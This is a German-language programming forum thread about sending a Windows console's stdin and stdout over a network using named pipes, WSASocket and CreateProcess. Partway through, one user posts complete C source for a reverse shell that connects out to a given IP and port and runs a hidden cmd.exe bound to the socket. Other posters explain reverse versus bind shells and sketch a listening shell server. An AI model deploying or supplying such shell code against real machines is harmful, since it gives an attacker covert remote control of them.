Lokale HANDLE´s auch im Netzwerk verwendbar?

[hustbaer]

@kernel64: wenn du damit leben kannst dass du einen neuen Prozess startest der eben einfach "umgelenkte" stdin/stdout Handles hat ist das Beispiel ja OK.

Ich weiss nicht ob man diese Pipes direkt auf einen anderen PC verbinden kann, aber ich denke es müsste schon gehen. Falls doch nicht bleibt dir immernoch die Möglichkeit die Pipes im "Mutterprozess" auszulesen und die Daten dann wie-auch-immer (wieder über Pipes oder über Sockets oder ...) an einen anderen PC zu schicken. Dasselbe natürlich auch in der Gegenrichtung.

[kernel64]

Mein Ziel ist es folgendes Programm im Netzwerk zu starten, es ist nix besonderes nur ein Beispiel:

void prompt()
{
    cout << ":>>";
}
int main ()
{
    string input;

    do{
        prompt();

        getline(cin, input);
        if(input == "exit")
        {
            return 0;
        }
        else if(input == "dir")
        {
            system("dir");
        }
        //...

    }while(1);

    return 0;
}

Wie man sieht wird hier die STDOUT und STDIN (getline) verwendet, d.h. man müsste diese per Sockets hin und her schicken.

ersetz die pipes durch sogenannte 'named pipes'. selbige sind netzwerkfähig (zumindest in einem windows-LAN).

Das stimmt, aber wie bekomme ich nun Zugriff auf die STDOUT, ich weiß nicht wie diese mit Named Pipes erstelle?

Habe ein Beispiel Code zu Named-Pipes:

Server Pipe:

/*
 * http://www.codersource.net/win32_createnamedpipe.html
 *
 */

#include <windows.h>
#include <stdio.h>
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

int main()
{

	BOOL fConnected;
	LPTSTR lpszPipename = "\\\\.\\pipe\\SamplePipe";
	CHAR chRequest[BUFSIZE];
	DWORD cbBytesRead;
	BOOL fSuccess;
	HANDLE hPipe;

	hPipe = CreateNamedPipe ( lpszPipename,
		PIPE_ACCESS_DUPLEX, // read/write access
		PIPE_TYPE_MESSAGE | // message type pipe
		PIPE_READMODE_MESSAGE | // message-read mode
		PIPE_WAIT, // blocking mode
		PIPE_UNLIMITED_INSTANCES, // max. instances
		BUFSIZE, // output buffer size
		BUFSIZE, // input buffer size
		PIPE_TIMEOUT, // client time-out
		NULL); // no security attribute

	if (hPipe == INVALID_HANDLE_VALUE)
		return true;

	for (;;)
	{
		// Trying connectnamedpipe in sample for CreateNamedPipe
		// Wait for the client to connect; if it succeeds,
		// the function returns a nonzero value. If the function returns
		// zero, GetLastError returns ERROR_PIPE_CONNECTED.

		fConnected = ConnectNamedPipe(hPipe, NULL) ?
TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

		if (fConnected)
		{
			fSuccess = ReadFile (hPipe, // handle to pipe
				chRequest, // buffer to receive data
				BUFSIZE, // size of buffer
				&cbBytesRead, // number of bytes read
				NULL); // not overlapped I/O

			chRequest[cbBytesRead] = '\0';
			printf("Data Received: %s\n",chRequest);

			if (! fSuccess || cbBytesRead == 0)
				break;

			//FlushFileBuffers(hPipe);
			//DisconnectNamedPipe(hPipe);
		}
		else
			// The client could not connect in the CreateNamedPipe sample, so close the pipe.
			CloseHandle(hPipe);
	}
	CloseHandle(hPipe);
	return 1;

}

//End of sample using CreateNamedPipe

Client Pipe:

/*
 * http://www.codersource.net/win32_named_pipe_client.html
 *
 */

#include <windows.h>
#include <stdio.h>
#include <string>
#include <iostream>
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

using namespace std;

int main()
{
	string input;
	HANDLE hFile;
	BOOL flg;
	DWORD dwWrite;
	char szPipeUpdate[200];
	hFile = CreateFile("\\\\.\\pipe\\SamplePipe", GENERIC_WRITE,
		0, NULL, OPEN_EXISTING,
		0, NULL);

	strcpy(szPipeUpdate,"Data from Named Pipe client for createnamedpipe");
	if(hFile == INVALID_HANDLE_VALUE)
	{
		printf("CreateFile failed for Named Pipe client\n" );
	}
	else
	{
		for(;;)
		{
			cout << "Eingabe:";
			getline(cin,input);
			input += '\0';
			flg = WriteFile(hFile, input.c_str(), input.length(), &dwWrite, NULL);
			if (FALSE == flg)
			{
				printf("WriteFile failed for Named Pipe client\n");
			}
			else
			{
				printf("WriteFile succeeded for Named Pipe client\n");
			}
		}
		CloseHandle(hFile);
	}

}

Jetzt habe ich ein Beispiel zu Named Pipes, doch wie bekommt man nun den Zugriff auf die einzelnen STDOUT/-IN `?

Den Socket Teil mit der Netzwerkprogrammierung kriege ich schon hin, nur ich weiß nicht wie hier weiter anfangen soll, einfach die STDOUT des Programms zum Client senden und diese dann dort darstellen.

Bitte um Hilfe.

[EDIT]
Im folgendem Link steht einiges über Pipes:
http://www.nt.fh-koeln.de/fachgebiete/inf/diplom/proc_sync/3/3.7.html

Hier eine Erklärung aus dem Inhalt:

Soll ein Kind-Prozess die Handles einer unbenannten Pipe erben so benötigt man eine SECURITY_ATTRIBUTES-Struktur, da der Standard Sicherheitsdeskriptor eine Vererbung der Pipe-Handles nicht zuläßt.

Beispiel für die Verwendung einer SECURITY_ATTRIBUTES-Struktur damit die Pipe-Handles vererbt werden können:

SECURITY ATTRIBUTES sec;
sec.nLength = sizeof( SECURITY ATTRIBUTES );
sec.lpSecurityDescriptor = NULL;
sec.bInheritHandle = TRUE;
CreatePipe ( &hRead, &hWrite, &sec, 0 );

Wie wendet man das mit Named Pipes an?

[ScriptGod]

wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.

1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

den Rest erledigt Windows, per Hand kannst du das wie schon erwähnt über Pipes oder auch per Sockets machen

[????????]

einen Socket mit WSASocket erzeugen (nicht mit socket!)

Warum?

[Dennis123]

Womöglich wird er sonst von windows nicht als HANDLE anerkannt oder etwas in der art.

[ScriptGod]

frag Microsoft
im Kernel werden Sockest, die mit socket erzeugt wurden und solche, die über WSASocket erzeugt wurden, anderst behandelt - sprich WSASockets können auch über die Standard-Datei funktionen ReadFile und WriteFile genutzt werden, sockets nicht.

[????????]

Ah danke. Ich glaube es liegt daran das die Funktion 'socket' den Socket mit WSA_FLAG_OVERLAPPED erstellt und so funktionieren wahrscheinlich nur Overlapped ReadFile aufrufe.

[kernel64]

wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.

1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

Danke, habe einiges zum Thema WSASocket bei google gesucht und etwas gefunden was ich schon die ganze Zeit suche. Es handelt sich nicht um Remote Shell sondern Reverse Shell(kennt jemand den Unterschied?)

Habe hier ein Beispiel Code einer Reverse Shell die cmd startet:

#include <winsock2.h>
#include <stdio.h>
#include <winsock.h>
#include <stdlib.h>

#define RCVBUFSIZE 32

void main(int argc,char *argv[])
{
	//Declaring the vars
    int sock;
    struct sockaddr_in cbAddr;
    unsigned short cbPort;
    char *cbIp;
    WSADATA wsaData;
	STARTUPINFO si;
	PROCESS_INFORMATION pi={0};
	char comspec[MAX_PATH];

//parsing arguments to the corresponding vars.
	cbIp = argv[1];
	cbPort = atoi(argv[2]);

//starting up wsa
    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
    {
        printf("WSAStartup() failed");
        exit(1);
    }
//Make shure it's WSASocket()
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
	{
        printf("Socket Failed\n");
		WSACleanup();
		exit(1);
	}

//filling the struct
    memset(&cbAddr, 0, sizeof(cbAddr));
    cbAddr.sin_family      = AF_INET;
    cbAddr.sin_addr.s_addr = inet_addr(cbIp);
    cbAddr.sin_port        = htons(cbPort);

	// Establish the connection to the echo server
    if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
	{
        printf("connect() failed\n");
		closesocket(sock);
		WSACleanup();
		exit(1);
	}
//Setting up the startupinfo etc to make shure cmd get's a both way traffic
		memset(&si,0,sizeof(si));
		GetStartupInfo(&si);
		si.cb = sizeof(si);
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
		si.hStdInput = (HANDLE)sock;
		si.hStdOutput = (HANDLE)sock;
		si.hStdError =(HANDLE)sock;
//getting cmd.exe a bit more fancier then hardcoding it.
		if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0)
		{
			printf("Environment var failed\n");
			closesocket(sock);
			exit(1);
		}
		if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &si, &pi)) //CREATE_NO_WINDOW
		{
			printf("process creation failed\n");
			closesocket(sock);
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
		}

		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
		closesocket(sock);
}

Wie funktioniert nun der Code also die STDIN/-OUT über Sockets könnt ihr mir bitte was dazu sagen.

Wie sieht nun ein Client aus der mit der Reverse Shell kommunizieren kann?

[ScriptGod]

imho heißt das Reverse Shell da der Rechner, der die Shell bereitstellt, auf den Recher, der kontrolliert, connected - anderst herum bind shell. Wobei die Begriffe wohl eher bei exploits etc. gebräuchlich sind.

Für den Client brauchst du eigentlich einen klassichen Server
1. socket erzeugen
2. bind
3. accept
4. go

[kernel64]

So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

Ich habe folgendes vor:

- Der Server läuft die ganze Zeit und wartet auf einen Client.
- Der Client verbindet sich mit dem Server, welcher dann die Authentifizierung startet
- Die STDOUT von der Shell wird zum Client übermittelt
- Der Client kann nun Befehle in der Konsole eingeben welche per STDIN zum Server übergeben werden.

Würde der Code oben nun als so ein Server funktionieren?

[Badestrand]

kernel64 schrieb:

So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

Wenn ich ScriptGod richtig verstanden habe, besteht der Unterschied darin, wer die Verbindung eröffnet. Bei der Reverse-Shell verbindet sich der Shell-Rechner zu dem anderen, bei der Remote-Shell verbindet sich der andere zum Rechner, wo die Shell-Befehle ausgeführt werden soll.

[ScriptGod]

Nein, der Code würde so nicht funktionieren. Der Code verbindet sich aktiv und wartet nicht... bei deiner Anforderung musst du erst auf eine Verbindung warten... dazu gibt's sehr viele Tutorials über socket-Programmierung

[kernel64]

Ok, also das was ich dann vorhabe ist nun eine Remote Shell.

@ScriptGod

Ich hatte Anfangs schon ein Client/Server Programm bei c-worker.ch gefunden, es ist ein Server & Client Chat (selectchatsrv.cpp & selectchatclient.cpp):
http://www.c-worker.ch/winsock/index.php

Da du aber meintest:

1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

Das würde mit dem Code nicht funktioniere, d.h. ich müsste den Code umschreiben oder ein neuen Server/Client mit Windows Sockets erstellen.

[ScriptGod]

das von mir Beschrieben kannst ohne weiters so einbauen und die Beispiele eigentlich übernehmen... musst deinen Part nur dazwischen schieben... grober Ablauf:

Server macht:
1. WSASocket
2. bind an port den du möchtest und evtl. auch Interface/IP
3. accept auf client warten
4. recv um Authentifizierung zu bekommen
5a. Verbindung nicht erlaubt -> closesocket
5b. Verbidnung erlaubt -> CreateProcess

Client macht:
1. socket/WSASocket
2. connect auf den anderen Rechner (IP+Port)
3. Sende Authentifizierung
4a. Verbindung wird beendet durch den anderen Rechner
4b. Shell

Natürlich kann man das ganze auch noch Ergänzung um eine Bestätigungs- oder Ablehnungsnachricht... oder Threads usw. einbauen

[kernel64]

Hallo, habe nun ein Client/Server Programm von hier: http://msdn2.microsoft.com/en-us/library/ms737889.aspx

Habe den Code bißchen verändert, den Teil mit socket() in WSASocket() geändert.

Jetzt bin ich an dem Punkt wo man CreateProcess() integrieren muss, nun weiß ich nicht weiter wie ich fortfahren soll, muss nicht bei der Kommunikation etwas gesendet/empfangen werden?

SERVER CODE

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "112"

int __cdecl main(void) 
{
	WSADATA wsaData;
	SOCKET ListenSocket = INVALID_SOCKET,
	ClientSocket = INVALID_SOCKET;
	struct addrinfo *result = NULL,	hints;
	char recvbuf[DEFAULT_BUFLEN];
	int iResult, iSendResult;
	int recvbuflen = DEFAULT_BUFLEN;
	STARTUPINFO si;
	PROCESS_INFORMATION pi={0};
	char comspec[MAX_PATH]; 

	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed: %d\n", iResult);
		return 1;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	hints.ai_flags = AI_PASSIVE;

	// Resolve the server address and port
	iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
	if ( iResult != 0 ) 
	{
		printf("getaddrinfo failed: %d\n", iResult);
		WSACleanup();
		return 1;
	}

	// Create a SOCKET for connecting to server
	/*Folgende Zeile:
	  ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
	  geändert in:
	*/
	ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0);	
	if (ListenSocket == INVALID_SOCKET) {
		printf("socket failed: %ld\n", WSAGetLastError());
		freeaddrinfo(result);
		WSACleanup();
		return 1;
	}

	// Setup the TCP listening socket
	iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
	if (iResult == SOCKET_ERROR) 
	{
		printf("bind failed: %d\n", WSAGetLastError());
		freeaddrinfo(result);
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}

	freeaddrinfo(result);

	iResult = listen(ListenSocket, SOMAXCONN);
	if (iResult == SOCKET_ERROR) {
		printf("listen failed: %d\n", WSAGetLastError());
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}

	// Accept a client socket
	ClientSocket = accept(ListenSocket, NULL, NULL);
	if (ClientSocket == INVALID_SOCKET) 
	{
		printf("accept failed: %d\n", WSAGetLastError());
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}

	// No longer need server socket
	closesocket(ListenSocket);	

	/*  ----------------------------------

		Hier kommt CreateProcess() ???

	*/  ----------------------------------

	// shutdown the connection since we're done
	iResult = shutdown(ClientSocket, SD_SEND);
	if (iResult == SOCKET_ERROR) 
	{
		printf("shutdown failed: %d\n", WSAGetLastError());
		closesocket(ClientSocket);
		WSACleanup();
		return 1;
	}

	// cleanup
	closesocket(ClientSocket);
	WSACleanup();

	return 0;
}

[EDIT]
Wo nun genau kommt jetzt der Teil mit CreateProcess() im Client oder Server Code?

Kann ich den Teil CreateProcess() von der Reverse Shell nehmen?

Bitte um Hilfe